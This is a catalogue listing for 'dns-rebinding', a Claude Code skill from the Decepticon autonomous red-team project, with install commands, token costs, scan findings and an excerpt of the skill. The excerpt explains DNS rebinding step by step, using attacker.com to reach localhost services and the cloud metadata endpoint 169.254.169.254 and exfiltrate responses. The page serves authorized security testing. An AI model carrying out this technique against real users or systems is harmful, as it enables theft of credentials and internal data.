dns-rebinding

dns-rebinding is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 126 tokens per session (2,462 once invoked), scanned C, original, Apache-2.0.

A guide to DNS rebinding, where a domain first points to a public server and later resolves to a local or internal address. A victim’s browser may then use the same domain to reach services that normally block outside websites.

In plain words
What is it for?
Assessing browser-based access to development servers, internal dashboards, local services, cloud instance metadata, and systems protected only by hostname checks.
Why use it?
It helps test defenses around browser access to localhost, internal services, and cloud metadata endpoints. The technique can bypass some server-side request filters by making the browser perform the request.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Assessing browser-based access to development servers, internal dashboards, local services, cloud instance metadata, and systems protected only by hostname checks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/dns-rebinding
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,452 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill dns-rebinding
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for dns-rebinding

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/dns-rebinding.svg)](https://agentmods.dev/skills/purpleailab/decepticon/dns-rebinding)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/dns-rebinding"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dns-rebinding.svg" alt="Measured on agentmods" height="20"></a>
Per session 126 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,462 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Server-Side Request Forgery · line 138
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • high Server-Side Request Forgery · line 219
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • medium MCP Rug Pull · line 86
    Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.
    Fix: Pin the image: image:tag or image@sha256:abc123
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00126 $0.02462
Opus 5 $0.00063 $0.01231
Sonnet 5 $0.00025 $0.00492
Haiku 4.5 $0.00013 $0.00246

Measured 4d ago against content hash 1ddc8b3b1cab, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade C, and why

dns-rebinding scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

| Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical |

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

fetch(target, {cache: "no-store"})
packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md · 224 lines

How it starts

The opening of the file, as written. The whole thing — 224 lines — stays where its author put it; the contents beside it link to each section on GitHub.

DNS Rebinding

DNS rebinding lets an attacker-controlled page make the victim's browser treat attacker.com as if it were 127.0.0.1 (or any internal IP). The browser's same-origin policy checks the hostname, not the IP — so after rebinding, the page's JS can read responses from the internal service as if they were same-origin.

When This Applies

Scenario Viable?
SSRF blocked, but victim browser is reachable Yes — browser does the internal fetch
Localhost service (Electron app, dev server, K8s dashboard) Yes — browser calls 127.0.0.1:
Cloud IMDS (169.254.169.254) reachable from instance's browser Yes — rare but critical
Server-side SSRF filter allows attacker.com Yes — rebind to internal IP
Target has DNS-rebinding protection (Host header check) Partial — see bypass §7

2. Attack Mechanics

Phase 1 — Victim resolves attacker.com → public IP

Victim visits http://attacker.com/payload.html. Browser resolves the DNS name → gets the attacker's real public IP → same-origin allows the page's JS to load and execute.

Phase 2 — TTL expires, DNS flips to 127.0.0.1

The attacker's DNS server returns a very short TTL (0–1 s). After TTL expiry, a second DNS query returns 127.0.0.1 (or target internal IP).

Phase 3 — JS makes same-origin request

The page's JS calls fetch("http://attacker.com/api/v1/secret"). The browser re-resolves attacker.com → gets 127.0.0.1 → sends the request to the local service on the attacker's behalf, receives the response, and exfiltrates it.

[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)
                                         ... wait TTL ...
[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080]
[Browser] → response body exfiltrated to attacker

3. Tooling

rbndr.us (fastest, no setup)

Public DNS rebinding service by Taviso. Construct a hostname that encodes both IPs:

Read the full file on GitHub · 224 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 224 lines · 126 tokens per session scan C 1ddc8b3b1cab

Subscribe to this mod's changes

dns-rebinding is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,452 stars, last pushed 8d ago), licensed Apache-2.0. It adds 126 tokens to every session and 2,462 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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